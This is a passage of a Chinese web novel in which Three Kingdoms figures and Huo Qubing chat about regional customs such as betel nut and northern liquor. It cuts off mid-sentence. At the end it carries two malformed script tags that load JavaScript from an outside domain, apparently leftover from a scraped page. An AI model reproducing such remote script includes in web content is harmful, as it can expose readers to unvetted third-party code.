“……成!别说两个,三个四个都行!”张飞哈哈大笑,爽快地答应了。
刘备无奈地摇了摇头,眼里却满是笑意。
任弋扶了扶额头,一脸无奈,这俩活宝,真是走到哪儿吵到哪儿。
茶淡了,就又续了一壶。
瓜果渐渐空了,果皮堆在矮几一角,积成了一小堆。
不知道是谁起了头,话题从涿郡的冷冬、狼居胥山的趣闻,慢慢转到了各地的稀奇风俗。
简雍摇着蒲扇,笑着说:“我听说益州人特别爱吃辣,哪怕是大夏天,也得煮一锅椒汤,喝得满头大汗,说这样能发汗,不容易生病。”
糜竺接着说道:“我还听说东海边上的渔民,能踩着高跷往深水里走,去捞海参,要是一脚踩空,那可就真成了鱼的口粮了。”
孙乾补充道:“还有交州人,爱吃槟榔,嚼得满口血红,外乡人第一次见,都吓得以为他们受伤了,魂都快吓飞了。”
张飞瞪圆了眼睛,一脸不信:“吃那玩意儿能防瘴气?我才不信呢,嚼得满口通红,看着就吓人。”
诸葛亮轻轻摇着羽扇,缓缓说道:“我云游四方的时候,确实见过这事。槟榔性子温和,能驱寒湿,交州那地方又热又潮湿,还有瘴气,老百姓嚼它,慢慢就成了习惯。”
他顿了顿,又补充了一句:“不过也不能多吃,吃多了伤牙齿、耗力气,凡事都得有个度。”
“还是咱们北边实在。”张飞撇了撇嘴,一脸不屑,“冷了就喝酒,热了就脱衣服,哪有那么多弯弯绕绕,麻烦得很。”
霍去病深表赞同,点了点头:“可不是嘛,酒才是好东西。不过你们这儿的酒,啧,太淡了,跟水似的,喝着不过瘾。”
刘备挑了挑眉,笑着问:“霍将军,你喝过哪儿的烈酒,觉得过瘾?”
霍去病脱口而出:“当然是——”
话刚说一半,他忽然卡住了,眼珠子乱转,显然是意识到自己差点说漏嘴,脸上露出了几分慌乱。
任弋一看,立刻替他接上话,语气自然:“——当然是北边胡人酿的马奶酒,后劲大,喝完走路都打飘,喝着才过瘾。”
“对对对!就是马奶酒!”霍去病连忙点头,感激地瞥了任弋一眼,还好任弋反应快,不然就露馅了。
刘备也没多想,只是轻轻叹了口气:“北地苦寒,烈酒能抵御霜冻,老百姓、士兵们都爱喝。中原这几年没什么大战,酒风也温和了许多
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">